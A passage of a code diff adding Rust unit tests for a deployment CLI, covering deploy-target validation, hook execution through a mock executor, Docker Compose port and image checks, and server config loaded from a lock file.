+            &RemoteDeployOverrides::default(),
+            "runc",
+            &cred_manager,
+            HookPolicy::default(),
+        );
+        assert!(result.is_err());
+
+        let err = format!("{}", result.unwrap_err());
+        assert!(
+            err.contains("Login required") || err.contains("login"),
+            "Expected login error, got: {}",
+            err
+        );
+    }
+
+    #[test]
+    fn test_deploy_cloud_requires_provider() {
+        // Cloud target but no cloud config
+        let config = "name: test-app\napp:\n  type: static\n  path: .\ndeploy:\n  target: cloud\n";
+        let dir = setup_local_project(&[("stacker.yml", config)]);
+        let executor = MockExecutor::success();
+
+        // This should fail at validation since no credentials exist
+        let result = run_deploy(
+            dir.path(),
+            None,
+            None,
+            true,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+        );
+        assert!(result.is_err());
+    }
+
+    #[test]
+    fn test_deploy_server_requires_host() {
+        let config = "name: test-app\napp:\n  type: static\n  path: .\ndeploy:\n  target: server\n";
+        let dir = setup_local_project(&[("stacker.yml", config)]);
+        let executor = MockExecutor::success();
+        let store = FileCredentialStore::new(dir.path().join("credentials.json"));
+        let cred_manager = CredentialsManager::new(store);
+        cred_manager
+            .save(&StoredCredentials {
+                access_token: "test-token".to_string(),
+                refresh_token: None,
+                token_type: "Bearer".to_string(),
+                expires_at: chrono::Utc::now() + chrono::Duration::hours(1),
+                email: Some("test@example.com".to_string()),
+                server_url: Some("https://example.test".to_string()),
+                org: None,
+                domain: None,
+            })
+            .unwrap();
+
+        let result = run_deploy_with_credentials_manager(
+            dir.path(),
+            None,
+            None,
+            None,
+            true,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+            &cred_manager,
+            HookPolicy::default(),
+        );
+        assert!(result.is_err());
+
+        let err = format!("{}", result.unwrap_err());
+        assert!(
+            err.contains("host") || err.contains("Host") || err.contains("server"),
+            "Expected server host error, got: {}",
+            err
+        );
+    }
+
+    #[test]
+    fn test_deploy_missing_config_file() {
+        let dir = TempDir::new().unwrap();
+        let executor = MockExecutor::success();
+
+        let result = run_deploy(
+            dir.path(),
+            None,
+            None,
+            true,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+        );
+        assert!(result.is_err());
+
+        let err = format!("{}", result.unwrap_err());
+        assert!(
+            err.contains("not found") || err.contains("Configuration"),
+            "Expected config not found error, got: {}",
+            err
+        );
+    }
+
+    #[test]
+    fn test_deploy_custom_file_flag() {
+        let dir = setup_local_project(&[
+            ("index.html", "<h1>hello</h1>"),
+            ("custom.yml", &minimal_config_yaml()),
+        ]);
+        let executor = MockExecutor::success();
+
+        let result = run_deploy(
+            dir.path(),
+            Some("custom.yml"),
+            Some("local"),
+            true,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+        );
+        assert!(result.is_ok());
+    }
+
+    #[test]
+    fn test_deploy_force_rebuild() {
+        let dir = setup_local_project(&[
+            ("index.html", "<h1>hello</h1>"),
+            ("stacker.yml", &minimal_config_yaml()),
+        ]);
+        let executor = MockExecutor::success();
+
+        // First deploy creates files
+        let result = run_deploy(
+            dir.path(),
+            None,
+            Some("local"),
+            true,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+        );
+        assert!(result.is_ok());
+
+        // Second deploy without force_rebuild should succeed (reuses existing files)
+        let result2 = run_deploy(
+            dir.path(),
+            None,
+            Some("local"),
+            true,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+        );
+        assert!(result2.is_ok());
+
+        // With force_rebuild should also succeed (regenerates files)
+        let result3 = run_deploy(
+            dir.path(),
+            None,
+            Some("local"),
+            true,
+            true,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+        );
+        assert!(result3.is_ok());
+    }
+
+    #[test]
+    fn test_deploy_target_strategy_dispatch() {
+        // Validate that strategy_for returns the right type
+        let local = strategy_for(&DeployTarget::Local);
+        let cloud = strategy_for(&DeployTarget::Cloud);
+        let server = strategy_for(&DeployTarget::Server);
+
+        // We can't check concrete types directly, but we can ensure
+        // validation behavior matches expectations:
+        let minimal_config = StackerConfig::from_str("name: test\napp:\n  type: static\n").unwrap();
+
+        // Local always passes validation
+        assert!(local.validate(&minimal_config).is_ok());
+        // Cloud fails without cloud config
+        assert!(cloud.validate(&minimal_config).is_err());
+        // Server fails without server config
+        assert!(server.validate(&minimal_config).is_err());
+    }
+
+    #[test]
+    fn test_deploy_hooks_dry_run_does_not_execute() {
+        let config =
+            "name: test-app\napp:\n  type: static\n  path: .\nhooks:\n  pre_build: ./build.sh\n  post_deploy: ./post.sh\n  on_failure: ./failure.sh\n";
+        let dir = setup_local_project(&[("index.html", "<h1>hello</h1>"), ("stacker.yml", config)]);
+        let executor = MockExecutor::success();
+
+        // Dry-run should succeed (hooks noted but NOT executed — no scripts created)
+        let result = run_deploy(
+            dir.path(),
+            None,
+            Some("local"),
+            true,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+        );
+        assert!(result.is_ok());
+    }
+
+    #[test]
+    fn test_deploy_runs_pre_build_hook() {
+        let config =
+            "name: test-app\napp:\n  type: static\n  path: .\n  ports:\n    - \"8080\"\nhooks:\n  pre_build: ./build.sh\n";
+        let dir = setup_local_project(&[
+            ("index.html", "<h1>hello</h1>"),
+            ("stacker.yml", config),
+            (
+                "build.sh",
+                "#!/bin/sh\necho pre-build\necho done > done.txt",
+            ),
+        ]);
+        let executor = MockExecutor::success();
+
+        // Non-dry-run — hook should be executed
+        let result = run_deploy(
+            dir.path(),
+            None,
+            Some("local"),
+            false,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+        );
+        assert!(result.is_ok());
+
+        // Verify the hook script was invoked through the executor
+        let calls = executor.calls.lock().unwrap();
+        let hook_calls: Vec<_> = calls.iter().filter(|(prog, _)| prog == "sh").collect();
+        assert!(
+            !hook_calls.is_empty(),
+            "Expected at least one sh call for the hook"
+        );
+        assert!(
+            hook_calls
+                .iter()
+                .any(|(_, args)| args.iter().any(|a| a.contains("build.sh"))),
+            "Expected a sh call with build.sh in args"
+        );
+    }
+
+    #[test]
+    fn test_deploy_runs_post_deploy_hook_on_success() {
+        let config =
+            "name: test-app\napp:\n  type: static\n  path: .\n  ports:\n    - \"8080\"\nhooks:\n  post_deploy: ./post.sh\n";
+        let dir = setup_local_project(&[
+            ("index.html", "<h1>hello</h1>"),
+            ("stacker.yml", config),
+            ("post.sh", "#!/bin/sh\necho post-deploy"),
+        ]);
+        let executor = MockExecutor::success();
+
+        let result = run_deploy(
+            dir.path(),
+            None,
+            Some("local"),
+            false,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+        );
+        assert!(result.is_ok());
+
+        // Verify the hook script was invoked through the executor
+        let calls = executor.calls.lock().unwrap();
+        let hook_calls: Vec<_> = calls.iter().filter(|(prog, _)| prog == "sh").collect();
+        assert!(
+            !hook_calls.is_empty(),
+            "Expected at least one sh call for post_deploy"
+        );
+        assert!(
+            hook_calls
+                .iter()
+                .any(|(_, args)| args.iter().any(|a| a.contains("post.sh"))),
+            "Expected a sh call with post.sh in args"
+        );
+    }
+
+    #[test]
+    fn test_deploy_hook_missing_script_fails() {
+        let config =
+            "name: test-app\napp:\n  type: static\n  path: .\nhooks:\n  pre_build: ./nonexistent.sh\n";
+        let dir = setup_local_project(&[("index.html", "<h1>hello</h1>"), ("stacker.yml", config)]);
+        let executor = MockExecutor::success();
+
+        let result = run_deploy(
+            dir.path(),
+            None,
+            Some("local"),
+            false,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+        );
+        assert!(
+            result.is_err(),
+            "Deploy should fail when hook script is missing"
+        );
+        let err = result.unwrap_err();
+        let err_str = format!("{}", err);
+        assert!(
+            err_str.contains("nonexistent.sh"),
+            "Error should mention the missing script: {}",
+            err_str
+        );
+    }
+
+    #[test]
+    fn test_fallback_hints_for_npm_ci_error() {
+        let hints =
+            fallback_troubleshooting_hints("failed to solve: /bin/sh -c npm ci --production");
+        assert!(hints.iter().any(|h| h.contains("npm ci failed")));
+    }
+
+    #[test]
+    fn test_compose_app_build_source_reads_context_and_dockerfile() {
+        let dir = TempDir::new().unwrap();
+        let compose_path = dir.path().join(".stacker").join("docker-compose.yml");
+        std::fs::create_dir_all(compose_path.parent().unwrap()).unwrap();
+        std::fs::write(
+            &compose_path,
+            "services:\n  app:\n    build:\n      context: ..\n      dockerfile: .stacker/Dockerfile\n",
+        )
+        .unwrap();
+
+        let source = compose_app_build_source(&compose_path).unwrap();
+        assert!(source.contains("context="));
+        assert!(source.contains("dockerfile="));
+        assert!(source.contains(".stacker/Dockerfile"));
+    }
+
+    #[test]
+    fn test_build_troubleshoot_error_log_handles_missing_files() {
+        let dir = TempDir::new().unwrap();
+        let log = build_troubleshoot_error_log(dir.path(), "docker compose failed");
+        assert!(log.contains("docker compose failed"));
+        assert!(log.contains("(not found)"));
+    }
+
+    #[test]
+    fn test_normalize_generated_compose_paths_fixes_stacker_context_and_version() {
+        let dir = TempDir::new().unwrap();
+        let stacker_dir = dir.path().join(".stacker");
+        std::fs::create_dir_all(&stacker_dir).unwrap();
+
+        let compose_path = stacker_dir.join("docker-compose.yml");
+        let compose = r#"
+version: "3.9"
+services:
+    app:
+        build:
+            context: .
+            dockerfile: .stacker/Dockerfile
+"#;
+        std::fs::write(&compose_path, compose).unwrap();
+
+        normalize_generated_compose_paths(&compose_path).unwrap();
+
+        let normalized = std::fs::read_to_string(&compose_path).unwrap();
+        assert!(!normalized.contains("version:"));
+        assert!(normalized.contains("context: .."));
+        assert!(normalized.contains("dockerfile: .stacker/Dockerfile"));
+    }
+
+    #[test]
+    fn test_normalize_generated_compose_paths_adds_stacker_dockerfile_for_app_when_missing() {
+        let dir = TempDir::new().unwrap();
+        let stacker_dir = dir.path().join(".stacker");
+        std::fs::create_dir_all(&stacker_dir).unwrap();
+
+        let compose_path = stacker_dir.join("docker-compose.yml");
+        let compose = r#"
+services:
+    app:
+        build:
+            context: .
+"#;
+        std::fs::write(&compose_path, compose).unwrap();
+
+        normalize_generated_compose_paths(&compose_path).unwrap();
+
+        let normalized = std::fs::read_to_string(&compose_path).unwrap();
+        assert!(normalized.contains("context: .."));
+        assert!(normalized.contains("dockerfile: .stacker/Dockerfile"));
+    }
+
+    #[test]
+    fn test_validate_compose_for_deploy_allows_unique_published_ports() {
+        let dir = TempDir::new().unwrap();
+        let compose_path = dir.path().join("docker-compose.yml");
+        let compose = r#"
+services:
+  web:
+    image: nginx:latest
+    ports:
+      - "80:80"
+  api:
+    image: ghcr.io/example/api:latest
+    ports:
+      - published: 8080
+        target: 8080
+"#;
+        std::fs::write(&compose_path, compose).unwrap();
+
+        validate_compose_for_deploy(&compose_path).unwrap();
+    }
+
+    #[test]
+    fn test_validate_compose_for_deploy_rejects_duplicate_published_ports() {
+        let dir = TempDir::new().unwrap();
+        let compose_path = dir.path().join("docker-compose.yml");
+        let compose = r#"
+services:
+  nginx-proxy-manager:
+    image: jc21/nginx-proxy-manager:latest
+    ports:
+      - "80:80"
+      - "81:81"
+      - "443:443"
+  nginx_proxy_manager:
+    image: jc21/nginx-proxy-manager:latest
+    ports:
+      - published: 80
+        target: 80
+      - published: 81
+        target: 81
+      - published: 443
+        target: 443
+"#;
+        std::fs::write(&compose_path, compose).unwrap();
+
+        let err = validate_compose_for_deploy(&compose_path).unwrap_err();
+        let msg = err.to_string();
+        assert!(msg.contains("conflicting published host ports"));
+        assert!(msg.contains("port 80"));
+        assert!(msg.contains("nginx-proxy-manager"));
+        assert!(msg.contains("nginx_proxy_manager"));
+    }
+
+    #[test]
+    fn test_validate_compose_for_deploy_allows_include_only_compose() {
+        let dir = TempDir::new().unwrap();
+        let compose_path = dir.path().join("docker-compose.yml");
+        let compose = r#"
+include:
+  - ../../postgres/docker/local/compose.yml
+  - ../../website/docker/local/compose.yml
+"#;
+        std::fs::write(&compose_path, compose).unwrap();
+
+        validate_compose_for_deploy(&compose_path).unwrap();
+    }
+
+    #[test]
+    fn test_collect_compose_image_refs_follows_includes_and_skips_build_services() {
+        let dir = TempDir::new().unwrap();
+        let root_compose = dir.path().join("docker-compose.yml");
+        let services_dir = dir.path().join("services");
+        std::fs::create_dir_all(&services_dir).unwrap();
+        let api_compose = services_dir.join("api.yml");
+        let web_compose = services_dir.join("web.yml");
+
+        std::fs::write(
+            &root_compose,
+            "include:\n  - services/api.yml\n  - services/web.yml\n",
+        )
+        .unwrap();
+        std::fs::write(
+            &api_compose,
+            "services:\n  api:\n    image: optimum/syncopia-device-api:latest\n  worker:\n    image: ghcr.io/example/worker:latest\n",
+        )
+        .unwrap();
+        std::fs::write(
+            &web_compose,
+            "services:\n  web:\n    build: .\n    image: optimum/syncopia-website:latest\n  proxy:\n    image: jc21/nginx-proxy-manager:latest\n",
+        )
+        .unwrap();
+
+        let images = collect_compose_image_refs(&root_compose).unwrap();
+        let collected: Vec<String> = images.into_iter().map(|image| image.image).collect();
+
+        assert_eq!(
+            collected,
+            vec![
+                "optimum/syncopia-device-api:latest".to_string(),
+                "ghcr.io/example/worker:latest".to_string(),
+                "jc21/nginx-proxy-manager:latest".to_string(),
+            ]
+        );
+    }
+
+    #[test]
+    fn test_parse_docker_hub_image_target_supports_official_namespaced_and_prefixed_images() {
+        let official = parse_docker_hub_image_target("postgres:17-alpine").unwrap();
+        assert_eq!(official.namespace, None);
+        assert_eq!(official.repository, "postgres");
+        assert_eq!(official.tag, "17-alpine");
+
+        let namespaced = parse_docker_hub_image_target("optimum/syncopia-device-api").unwrap();
+        assert_eq!(namespaced.namespace.as_deref(), Some("optimum"));
+        assert_eq!(namespaced.repository, "syncopia-device-api");
+        assert_eq!(namespaced.tag, "latest");
+
+        let prefixed =
+            parse_docker_hub_image_target("docker.io/optimum/syncopia-website:main").unwrap();
+        assert_eq!(prefixed.namespace.as_deref(), Some("optimum"));
+        assert_eq!(prefixed.repository, "syncopia-website");
+        assert_eq!(prefixed.tag, "main");
+
+        assert!(
+            parse_docker_hub_image_target("ghcr.io/optimum/syncopia-device-api:latest").is_none()
+        );
+    }
+
+    #[test]
+    fn test_registry_auth_candidates_ignore_official_public_images() {
+        let dir = TempDir::new().unwrap();
+        let compose_path = dir.path().join("docker-compose.yml");
+        let image_env = std::collections::BTreeMap::new();
+        std::fs::write(
+            &compose_path,
+            "services:\n  db:\n    image: postgres:17\n  api:\n    image: optimum/syncopia-api:latest\n  sidecar:\n    image: ghcr.io/acme/sidecar:latest\n",
+        )
+        .unwrap();
+
+        let candidates = collect_registry_auth_candidate_images(&compose_path, &image_env).unwrap();
+
+        assert_eq!(
+            candidates,
+            vec![
+                "optimum/syncopia-api:latest".to_string(),
+                "ghcr.io/acme/sidecar:latest".to_string()
+            ]
+        );
+    }
+
+    #[test]
+    fn test_active_stacker_base_url_prefers_logged_in_server_url() {
+        let creds = StoredCredentials {
+            access_token: "token".to_string(),
+            refresh_token: None,
+            token_type: "Bearer".to_string(),
+            expires_at: chrono::Utc::now() + chrono::Duration::hours(1),
+            email: Some("test@example.com".to_string()),
+            server_url: Some("https://dev.try.direct/server/stacker/api/v1".to_string()),
+            org: None,
+            domain: None,
+        };
+
+        assert_eq!(
+            active_stacker_base_url(&creds),
+            "https://dev.try.direct/server/stacker"
+        );
+    }
+
+    #[test]
+    fn test_cloud_config_from_cli_override_info_sets_in_memory_key() {
+        let cloud = stacker_client::CloudInfo {
+            id: 5,
+            user_id: "u1".to_string(),
+            name: "htz-5".to_string(),
+            provider: "htz".to_string(),
+            cloud_token: None,
+            cloud_key: None,
+            cloud_secret: None,
+            save_token: None,
+        };
+
+        let config = cloud_config_from_info(&cloud).unwrap();
+
+        assert_eq!(config.provider, CloudProvider::Hetzner);
+        assert_eq!(config.key.as_deref(), Some("htz-5"));
+        assert_eq!(config.orchestrator, CloudOrchestrator::Remote);
+    }
+
+    #[test]
+    fn test_cloud_config_from_cli_override_preserves_existing_region_and_size() {
+        let existing = CloudConfig {
+            provider: CloudProvider::Hetzner,
+            orchestrator: CloudOrchestrator::Remote,
+            region: Some("nbg1".to_string()),
+            size: Some("cpx21".to_string()),
+            install_image: None,
+            remote_payload_file: None,
+            ssh_key: None,
+            key: None,
+            server: None,
+            public_ports: Vec::new(),
+        };
+        let cloud = stacker_client::CloudInfo {
+            id: 5,
+            user_id: "u1".to_string(),
+            name: "htz-5".to_string(),
+            provider: "htz".to_string(),
+            cloud_token: None,
+            cloud_key: None,
+            cloud_secret: None,
+            save_token: None,
+        };
+
+        let config = merge_cloud_config_from_info(Some(&existing), &cloud).unwrap();
+
+        assert_eq!(config.key.as_deref(), Some("htz-5"));
+        assert_eq!(config.region.as_deref(), Some("nbg1"));
+        assert_eq!(config.size.as_deref(), Some("cpx21"));
+    }
+
+    #[test]
+    fn test_validate_compose_images_for_deploy_reports_missing_docker_hub_image_before_deploy() {
+        let dir = TempDir::new().unwrap();
+        let compose_path = dir.path().join("docker-compose.yml");
+        let image_env = std::collections::BTreeMap::new();
+        std::fs::write(
+            &compose_path,
+            "services:\n  api:\n    image: optimum/syncopia-device-api:latest\n  worker:\n    image: ghcr.io/example/worker:latest\n  proxy:\n    image: jc21/nginx-proxy-manager:latest\n",
+        )
+        .unwrap();
+
+        let err = validate_compose_images_for_deploy_with_checker(
+            &compose_path,
+            &image_env,
+            None,
+            |target| {
+                Ok(if target.repository == "syncopia-device-api" {
+                    DockerHubImageCheckResult::Missing
+                } else {
+                    DockerHubImageCheckResult::Available
+                })
+            },
+        )
+        .unwrap_err();
+
+        let message = err.to_string();
+        assert!(message.contains("Compose image preflight failed"));
+        assert!(message.contains("docker.io/optimum/syncopia-device-api:latest"));
+        assert!(message.contains("service 'api'"));
+        assert!(!message.contains("ghcr.io/example/worker:latest"));
+    }
+
+    #[test]
+    fn test_required_image_platform_for_deploy_target_only_enforces_remote_linux_amd64() {
+        assert_eq!(
+            required_image_platform_for_deploy_target(&DeployTarget::Local),
+            None
+        );
+        assert_eq!(
+            required_image_platform_for_deploy_target(&DeployTarget::Cloud),
+            Some(RequiredImagePlatform::linux_amd64())
+        );
+        assert_eq!(
+            required_image_platform_for_deploy_target(&DeployTarget::Server),
+            Some(RequiredImagePlatform::linux_amd64())
+        );
+    }
+
+    #[test]
+    fn test_validate_compose_images_for_deploy_reports_missing_required_platform_before_remote_deploy(
+    ) {
+        let dir = TempDir::new().unwrap();
+        let compose_path = dir.path().join("docker-compose.yml");
+        let image_env = std::collections::BTreeMap::new();
+        let required_platform = RequiredImagePlatform::linux_amd64();
+        std::fs::write(
+            &compose_path,
+            "services:
+  api:
+    image: optimum/syncopia-device-api:latest
+  proxy:
+    image: jc21/nginx-proxy-manager:latest
+",
+        )
+        .unwrap();
+
+        let err = validate_compose_images_for_deploy_with_checker(
+            &compose_path,
+            &image_env,
+            Some(&required_platform),
+            |target| {
+                Ok(if target.repository == "syncopia-device-api" {
+                    DockerHubImageCheckResult::MissingPlatform {
+                        required: required_platform.clone(),
+                        available: vec!["linux/arm64".to_string()],
+                    }
+                } else {
+                    DockerHubImageCheckResult::Available
+                })
+            },
+        )
+        .unwrap_err();
+
+        let message = err.to_string();
+        assert!(message.contains("required platform linux/amd64"));
+        assert!(message.contains("available platforms: linux/arm64"));
+        assert!(message.contains("docker.io/optimum/syncopia-device-api:latest"));
+        assert!(message.contains("service 'api'"));
+    }
+
+    #[test]
+    fn test_resolve_compose_image_reference_supports_plain_default_and_required_forms() {
+        let mut image_env = std::collections::BTreeMap::new();
+        image_env.insert(
+            "WEBSITE_IMAGE".to_string(),
+            "optimum/syncopia-website".to_string(),
+        );
+
+        assert_eq!(
+            resolve_compose_image_reference("${WEBSITE_IMAGE}:latest", &image_env).unwrap(),
+            "optimum/syncopia-website:latest"
+        );
+        assert_eq!(
+            resolve_compose_image_reference(
+                "${DEVICE_API_IMAGE:-syncopia/device-api:dev}",
+                &image_env
+            )
+            .unwrap(),
+            "syncopia/device-api:dev"
+        );
+        assert_eq!(
+            resolve_compose_image_reference(
+                "${WEBSITE_IMAGE:?Set WEBSITE_IMAGE to a published website image}:latest",
+                &image_env
+            )
+            .unwrap(),
+            "optimum/syncopia-website:latest"
+        );
+    }
+
+    #[test]
+    fn test_resolve_compose_image_reference_errors_for_missing_required_variable() {
+        let image_env = std::collections::BTreeMap::new();
+        let err = resolve_compose_image_reference(
+            "${WEBSITE_IMAGE:?Set WEBSITE_IMAGE to a published website image}:latest",
+            &image_env,
+        )
+        .unwrap_err();
+        assert!(err.contains("Set WEBSITE_IMAGE to a published website image"));
+    }
+
+    #[test]
+    fn test_validate_compose_images_for_deploy_resolves_environment_images_before_checking() {
+        let dir = TempDir::new().unwrap();
+        let compose_path = dir.path().join("docker-compose.yml");
+        let mut image_env = std::collections::BTreeMap::new();
+        image_env.insert(
+            "WEBSITE_IMAGE".to_string(),
+            "optimum/syncopia-website".to_string(),
+        );
+        std::fs::write(
+            &compose_path,
+            "services:\n  website:\n    image: ${WEBSITE_IMAGE}:latest\n  proxy:\n    image: jc21/nginx-proxy-manager:latest\n",
+        )
+        .unwrap();
+
+        let err = validate_compose_images_for_deploy_with_checker(
+            &compose_path,
+            &image_env,
+            None,
+            |target| {
+                Ok(if target.repository == "syncopia-website" {
+                    DockerHubImageCheckResult::Missing
+                } else {
+                    DockerHubImageCheckResult::Available
+                })
+            },
+        )
+        .unwrap_err();
+
+        let message = err.to_string();
+        assert!(message.contains("docker.io/optimum/syncopia-website:latest"));
+        assert!(message.contains("service 'website'"));
+    }
+
+    #[test]
+    fn test_extract_compose_public_port_specs_resolves_env_defaults() {
+        let dir = TempDir::new().unwrap();
+        let compose_path = dir.path().join("compose.yml");
+        std::fs::write(
+            &compose_path,
+            r#"
+services:
+  coolify:
+    image: coollabsio/coolify:latest
+    ports:
+      - "${APP_PORT:-8000}:8080"
+      - "127.0.0.1:5432:5432"
+      - "53:53/udp"
+  soketi:
+    image: coollabsio/coolify-realtime:1.0.13
+    ports:
+      - "${SOKETI_PORT:-6001}:6001"
+      - "6002:6002"
+  api:
+    image: example/api:latest
+    ports:
+      - target: 9000
+        published: "${API_PORT:-19000}"
+        protocol: tcp
+"#,
+        )
+        .unwrap();
+
+        let env = std::collections::BTreeMap::new();
+        let ports = extract_compose_public_port_specs(&compose_path, &env).unwrap();
+
+        assert_eq!(
+            ports,
+            vec!["8000:8080", "6001:6001", "6002:6002", "19000:9000"]
+        );
+    }
+
+    #[test]
+    fn test_merge_compose_public_ports_into_app_config_prevents_default_custom_port() {
+        let dir = TempDir::new().unwrap();
+        let compose_path = dir.path().join("compose.yml");
+        std::fs::write(
+            &compose_path,
+            r#"
+services:
+  coolify:
+    image: coollabsio/coolify:latest
+    ports:
+      - "${APP_PORT:-8000}:8080"
+"#,
+        )
+        .unwrap();
+        let mut config = StackerConfig::from_str(
+            "name: coolify\napp:\n  type: custom\n  image: coollabsio/coolify:latest\n",
+        )
+        .unwrap();
+        let env = std::collections::BTreeMap::new();
+
+        merge_compose_public_ports_into_app_config(&mut config, &compose_path, &env).unwrap();
+
+        assert_eq!(config.app.ports, vec!["8000:8080"]);
+    }
+
+    #[test]
+    fn test_compose_public_ports_flow_into_project_body_shared_ports() {
+        let dir = TempDir::new().unwrap();
+        let compose_path = dir.path().join("compose.yml");
+        std::fs::write(
+            &compose_path,
+            r#"
+services:
+  coolify:
+    image: coollabsio/coolify:latest
+    ports:
+      - "${APP_PORT:-8000}:8080"
+"#,
+        )
+        .unwrap();
+        let mut config = StackerConfig::from_str(
+            "name: coolify\napp:\n  type: custom\n  image: coollabsio/coolify:latest\n",
+        )
+        .unwrap();
+        let env = std::collections::BTreeMap::new();
+
+        merge_compose_public_ports_into_app_config(&mut config, &compose_path, &env).unwrap();
+        let project_body = crate::cli::stacker_client::build_project_body(&config);
+
+        assert_eq!(
+            project_body["custom"]["web"][0]["shared_ports"],
+            serde_json::json!([{"host_port": "8000", "container_port": "8080"}])
+        );
+    }
+
+    #[test]
+    fn test_hydrate_server_deploy_config_from_lock_uses_server_lock() {
+        let dir = TempDir::new().unwrap();
+        let mut config = StackerConfig::from_str(
+            "name: demo\napp:\n  type: custom\n  image: ghcr.io/example/demo:latest\ndeploy:\n  target: server\n",
+        )
+        .unwrap();
+        let server_lock = DeploymentLock::for_server(&ServerConfig {
+            host: "192.0.2.20".to_string(),
+            user: "deploy".to_string(),
+            ssh_key: Some(PathBuf::from("/tmp/id_ed25519")),
+            port: 2200,
+        });
+        server_lock.save(dir.path()).unwrap();
+
+        hydrate_server_deploy_config_from_lock(dir.path(), &mut config, DeployTarget::Server)
+            .unwrap();
 
-                    if is_terminal(&info.status) {
-                        if info.status == "completed" {
-                            progress::finish_success(
-                                &spin,
-                                &format!("Deployment #{} completed", info.id),
-                            );
-                        } else {
-                            let msg = info
-                                .status_message
-                                .as_deref()
-                                .unwrap_or(&info.status);
-                            progress::finish_error(
-                                &spin,
-                                &format!("Deployment #{} — {}", info.id, msg),
-                            );
-                        }
-                        return Ok(());
-                    }
-                }
-                Ok(None) => {
-                    if last_status.is_empty() {
-                        progress::update_message(
-                            &spin,
-                            "Waiting for deployment to appear...",
-                        );
-                        last_status = "<none>".to_string();
-                    }
-                }
-                Err(e) => {
-                    progress::finish_error(
-                        &spin,
-                        &format!("Error polling status: {}", e),
-                    );
-                    eprintln!("  Run `stacker status --watch` to retry.");
-                    return Ok(());
-                }
-            }
+        let server_cfg = config.deploy.server.expect("server config from lock");
+        assert_eq!(server_cfg.host, "192.0.2.20");
+        assert_eq!(server_cfg.user, "deploy");
+        assert_eq!(server_cfg.port, 2200);
+        assert_eq!(server_cfg.ssh_key, Some(PathBuf::from("/tmp/id_ed25519")));
+    }
 
-            if start.elapsed() > timeout {
-                progress::finish_error(
-                    &spin,
-                    "Watch timeout (10m) — deployment still in progress",
-                );
-                eprintln!("  Run `stacker status --watch` to continue watching.");
-                return Ok(());
-            }
+    #[test]
+    fn test_hydrate_server_deploy_config_from_lock_keeps_existing_config() {
+        let dir = TempDir::new().unwrap();
+        let mut config = StackerConfig::from_str(
+            "name: demo\napp:\n  type: custom\n  image: ghcr.io/example/demo:latest\ndeploy:\n  target: server\n  server:\n    host: 198.51.100.10\n    user: root\n    port: 22\n",
+        )
+        .unwrap();
+        let server_lock = DeploymentLock::for_server(&ServerConfig {
+            host: "192.0.2.20".to_string(),
+            user: "deploy".to_string(),
+            ssh_key: Some(PathBuf::from("/tmp/id_ed25519")),
+            port: 2200,
+        });
+        server_lock.save(dir.path()).unwrap();
+
+        hydrate_server_deploy_config_from_lock(dir.path(), &mut config, DeployTarget::Server)
+            .unwrap();
+
+        let server_cfg = config.deploy.server.expect("existing server config");
+        assert_eq!(server_cfg.host, "198.51.100.10");
+        assert_eq!(server_cfg.user, "root");
+        assert_eq!(server_cfg.port, 22);
+        assert!(server_cfg.ssh_key.is_none());
+    }
+
+    #[test]
+    fn test_coolify_project_compose_ports_define_cloud_firewall_ports() {
+        let dir = TempDir::new().unwrap();
+        let compose_dir = dir.path().join("docker/production");
+        std::fs::create_dir_all(&compose_dir).unwrap();
+        let compose_path = compose_dir.join("compose.yml");
+        std::fs::write(
+            &compose_path,
+            r#"
+services:
+  coolify:
+    image: "${REGISTRY_URL:-ghcr.io}/coollabsio/coolify:${LATEST_IMAGE:-latest}"
+    container_name: coolify
+    ports:
+      - "${APP_PORT:-8000}:8080"
+    expose:
+      - "8080"
+    depends_on:
+      postgres:
+        condition: service_healthy
+      redis:
+        condition: service_healthy
+      soketi:
+        condition: service_healthy
+  postgres:
+    image: postgres:15-alpine
+    container_name: coolify-db
+  redis:
+    image: redis:7-alpine
+    container_name: coolify-redis
+  soketi:
+    image: "${REGISTRY_URL:-ghcr.io}/coollabsio/coolify-realtime:1.0.13"
+    container_name: coolify-realtime
+    ports:
+      - "${SOKETI_PORT:-6001}:6001"
+      - "6002:6002"
+"#,
+        )
+        .unwrap();
+
+        let mut config = StackerConfig::from_str(
+            r#"
+name: coolify
+project:
+  identity: coolify
+app:
+  type: custom
+  image: "coollabsio/coolify:latest"
+proxy:
+  type: nginx-proxy-manager
+  auto_detect: false
+deploy:
+  target: cloud
+  cloud:
+    provider: hetzner
+    region: fsn1
+    size: cpx22
+environments:
+  production:
+    compose_file: docker/production/compose.yml
+monitoring:
+  status_panel: true
+"#,
+        )
+        .unwrap()
+        .with_resolved_deploy_target(None)
+        .unwrap();
+
+        let (_, environment_config) = config
+            .resolve_environment_config(Some("production"))
+            .unwrap()
+            .unwrap();
+        if let Some(compose_file) = environment_config.compose_file {
+            config.deploy.compose_file = Some(compose_file);
+        }
+
+        let env = build_image_env_lookup(dir.path(), &config).unwrap();
+        merge_compose_public_ports_into_app_config(&mut config, &compose_path, &env).unwrap();
+        let project_body = crate::cli::stacker_client::build_project_body(&config);
+        let shared_ports = project_body["custom"]["web"][0]["shared_ports"]
+            .as_array()
+            .unwrap();
+
+        assert_eq!(
+            shared_ports,
+            &vec![
+                serde_json::json!({"host_port": "8000", "container_port": "8080"}),
+                serde_json::json!({"host_port": "6001", "container_port": "6001"}),
+                serde_json::json!({"host_port": "6002", "container_port": "6002"}),
+            ]
+        );
+        assert!(shared_ports
+            .iter()
+            .all(|port| port["host_port"].as_str() != Some("8080")));
+        assert!(project_body["custom"]["feature"]
+            .as_array()
+            .unwrap()
+            .is_empty());
+
+        let deploy_form = crate::cli::stacker_client::build_deploy_form(&config);
+        assert!(deploy_form["stack"]["extended_features"]
+            .as_array()
+            .unwrap()
+            .contains(&serde_json::json!("nginx_proxy_manager")));
+        assert!(deploy_form["stack"]["integrated_features"]
+            .as_array()
